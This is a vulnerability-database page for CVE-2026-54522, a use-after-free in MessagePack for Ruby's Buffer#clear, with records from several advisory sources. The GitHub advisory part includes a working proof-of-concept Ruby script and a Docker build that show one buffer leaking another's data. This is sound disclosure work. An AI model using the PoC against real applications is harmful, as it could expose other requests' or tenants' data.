Vulnerability-Lookup

CVE-2026-54522 (GCVE-0-2026-54522)

Vulnerability from cvelistv5 – Published: 2026-07-30 16:33 – Updated: 2026-07-30 17:39

Title

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Summary

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Severity

2.1 (Low)


                        
                          CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-30 17:38 UTC

CWE

CWE-416 - Use After Free

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/msgpack/msgpack-ruby/security/…	x_refsource_CONFIRM
https://github.com/msgpack/msgpack-ruby/commit/56…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
msgpack	msgpack-ruby	Affected: < 1.8.2	guessed

Show details on NVD website

JSON

To clipboard

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              "content": {
                "id": "CVE-2026-54522",
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                  },
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      "title": "MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure"
    }
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}

cleanstart-2026-de16221

Vulnerability from cleanstart

Published

2026-07-21 08:19

Modified

2026-07-07 04:42

Summary

Security fixes for CVE-2026-54171, CVE-2026-54297, CVE-2026-54522, CVE-2026-54904, CVE-2026-54905, CVE-2026-54906, ghsa-6wx8-w4f5-wwcr, ghsa-98m9-hrrm-r99r, ghsa-h8w8-99g7-qmvj, ghsa-wv3x-4vxv-whpp applied in versions: 1.18.0-r4, 1.18.0-r5

Details

Multiple security vulnerabilities affect the ruby-fluentd-1.18 package. These issues are resolved in later releases. See references for individual vulnerability details.

References

URL

Type

	https://github.com/cleanstart-dev/cleanstart-secu…	ADVISORY
	https://osv.dev/vulnerability/CVE-2026-54171	WEB
	https://osv.dev/vulnerability/CVE-2026-54297	WEB
	https://osv.dev/vulnerability/CVE-2026-54522	WEB
	https://osv.dev/vulnerability/CVE-2026-54904	WEB
	https://osv.dev/vulnerability/CVE-2026-54905	WEB
	https://osv.dev/vulnerability/CVE-2026-54906	WEB
	https://osv.dev/vulnerability/ghsa-6wx8-w4f5-wwcr	WEB
	https://osv.dev/vulnerability/ghsa-98m9-hrrm-r99r	WEB
	https://osv.dev/vulnerability/ghsa-h8w8-99g7-qmvj	WEB
	https://osv.dev/vulnerability/ghsa-wv3x-4vxv-whpp	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54171	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54297	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54522	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54904	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54905	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54906	WEB

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "ruby-fluentd-1.18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Multiple security vulnerabilities affect the ruby-fluentd-1.18 package. These issues are resolved in later releases. See references for individual vulnerability details.",
  "id": "CLEANSTART-2026-DE16221",
  "modified": "2026-07-07T04:42:57Z",
  "published": "2026-07-21T08:19:55.189420Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-DE16221.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-54171"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-54297"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-54522"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-54904"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-54905"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-54906"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-6wx8-w4f5-wwcr"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-98m9-hrrm-r99r"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-h8w8-99g7-qmvj"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/ghsa-wv3x-4vxv-whpp"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54171"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54297"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54522"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54904"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54905"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54906"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes for CVE-2026-54171, CVE-2026-54297, CVE-2026-54522, CVE-2026-54904, CVE-2026-54905, CVE-2026-54906, ghsa-6wx8-w4f5-wwcr, ghsa-98m9-hrrm-r99r, ghsa-h8w8-99g7-qmvj, ghsa-wv3x-4vxv-whpp applied in versions: 1.18.0-r4, 1.18.0-r5",
  "upstream": [
    "CVE-2026-54171",
    "CVE-2026-54297",
    "CVE-2026-54522",
    "CVE-2026-54904",
    "CVE-2026-54905",
    "CVE-2026-54906",
    "ghsa-6wx8-w4f5-wwcr",
    "ghsa-98m9-hrrm-r99r",
    "ghsa-h8w8-99g7-qmvj",
    "ghsa-wv3x-4vxv-whpp"
  ]
}

FKIE_CVE-2026-54522

Vulnerability from fkie_nvd - Published: 2026-07-30 17:16 - Updated: 2026-08-05 19:41

Severity

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90	Patch
security-advisories@github.com	https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	msgpack	messagepack	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "msgpack-ruby",
          "vendor": "msgpack",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.8.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:msgpack:messagepack:*:*:*:*:*:ruby:*:*",
              "matchCriteriaId": "65ABC93D-5241-43F9-B467-758E2FF0C008",
              "versionEndExcluding": "1.8.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2."
    }
  ],
  "id": "CVE-2026-54522",
  "lastModified": "2026-08-05T19:41:34.330",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.5,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "LOCAL",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 2.1,
          "baseSeverity": "LOW",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54522",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-30T17:38:58.315032Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-30T17:16:33.030",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-416"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-4MRV-5P47-P938

Vulnerability from github – Published: 2026-07-30 16:33 – Updated: 2026-07-30 16:33

Summary

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Details

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Severity

2.1 (Low)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "msgpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T16:33:12Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer\u0027s rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer\u0027s bytes \u2014 a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` \u2192 `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` \u2192 `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b-\u003ermem_last`, a pointer into the already-freed page.\n- A second buffer\u0027s first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool \u2192 the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat \u003e poc.rb \u003c\u003c\u0027RUBY\u0027\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write(\u0027M\u0027 * 1000); b1.write(\u0027A\u0027 * 200); b1.write(\u0027N\u0027 * 1000)\nb1.clear\nb1.write(\u0027C\u0027 * 128)\nsecret = (\u0027s\u0027 * 200) + (\u0027ABCD\u0027 * 32) + (\u0027t\u0027 * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor  = b2.read_all\nputs \u0027b1_first64:\u0027 + leaked.byteslice(0, 64)\nputs \u0027b2_donor64:\u0027 + donor.byteslice(200, 64)\nputs \u0027leaked_is_C:\u0027 + (leaked == \u0027C\u0027 * 128).to_s\nputs \u0027cross_buffer_match:\u0027 + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat \u003e Dockerfile \u003c\u003c\u0027DOCKER\u0027\nFROM ruby:3.3-bookworm\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends build-essential libasan8 \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 \u0026\u0026 gem unpack msgpack-1.8.1.gem \u0026\u0026 \\\n    cd msgpack-1.8.1/ext/msgpack \u0026\u0026 \\\n    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags=\u0027-O0 -g -fsanitize=address -fno-omit-frame-pointer\u0027 --with-ldflags=\u0027-fsanitize=address\u0027 \u0026\u0026 \\\n    make -j\"$(nproc)\" \u0026\u0026 cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n  bash -c \u0027export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb\u0027\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another\u0027s memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low\u2013Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
  "id": "GHSA-4mrv-5p47-p938",
  "modified": "2026-07-30T16:33:12Z",
  "published": "2026-07-30T16:33:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/msgpack/msgpack-ruby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure"
}

MSRC_CVE-2026-54522

Vulnerability from csaf_microsoft - Published: 2026-08-07 01:17 - Updated: 2026-09-13 01:46

Summary

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Scope

1 vulnerability in this advisory, including CVE-2026-54522.

CVE-2026-54522

5.4 (Medium)


                
                  CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Fixed: 1 product Known affected: 1 product

https://learn.microsoft.com/en-us/azure/azure-linux/tutoria…

Open the full advisory

ubuntu-cve-2026-54522

Vulnerability from osv_ubuntu

Published

2026-07-30 17:16

Modified

2026-08-06 19:59

Summary

Details

Severity

2.1 (Low)


                    
                      CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

5.4 (Medium)


                    
                      CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-54522	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-54522	REPORT
	https://github.com/msgpack/msgpack-ruby/security/…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "ruby-msgpack",
            "binary_version": "0.6.2-1build4"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:16.04:LTS",
        "name": "ruby-msgpack",
        "purl": "pkg:deb/ubuntu/ruby-msgpack@0.6.2-1build4?arch=source\u0026distro=xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.6.2-1build1",
        "0.6.2-1build2",
        "0.6.2-1build3",
        "0.6.2-1build4"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "ruby-msgpack",
            "binary_version": "1.1.0-1build2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:18.04:LTS",
        "name": "ruby-msgpack",
        "purl": "pkg:deb/ubuntu/ruby-msgpack@1.1.0-1build2?arch=source\u0026distro=bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0-1",
        "1.1.0-1",
        "1.1.0-1build1",
        "1.1.0-1build2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "ruby-msgpack",
            "binary_version": "1.1.0-1build3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
        "name": "ruby-msgpack",
        "purl": "pkg:deb/ubuntu/ruby-msgpack@1.1.0-1build3?arch=source\u0026distro=focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.1.0-1build2",
        "1.1.0-1build3"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "ruby-msgpack",
            "binary_version": "1.4.2-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "ruby-msgpack",
        "purl": "pkg:deb/ubuntu/ruby-msgpack@1.4.2-2?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.1.0-2build1",
        "1.1.0-2build2",
        "1.4.2-2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "ruby-msgpack",
            "binary_version": "1.4.2-2build4"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "ruby-msgpack",
        "purl": "pkg:deb/ubuntu/ruby-msgpack@1.4.2-2build4?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.4.2-2build2",
        "1.4.2-2build3",
        "1.4.2-2build4"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "ruby-msgpack",
            "binary_version": "1.8.0-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "ruby-msgpack",
        "purl": "pkg:deb/ubuntu/ruby-msgpack@1.8.0-1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.7.2-1.1",
        "1.8.0-1"
      ]
    }
  ],
  "aliases": [],
  "details": "MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.",
  "id": "UBUNTU-CVE-2026-54522",
  "modified": "2026-08-06T19:59:15Z",
  "published": "2026-07-30T17:16:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-54522"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54522"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    },
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-54522"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-54522 (GCVE-0-2026-54522)

cleanstart-2026-de16221

Vulnerability from cleanstart

FKIE_CVE-2026-54522

GHSA-4MRV-5P47-P938

Summary

Details

PoC

Impact

Credit

MSRC_CVE-2026-54522

ubuntu-cve-2026-54522

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature

Related by attack behaviour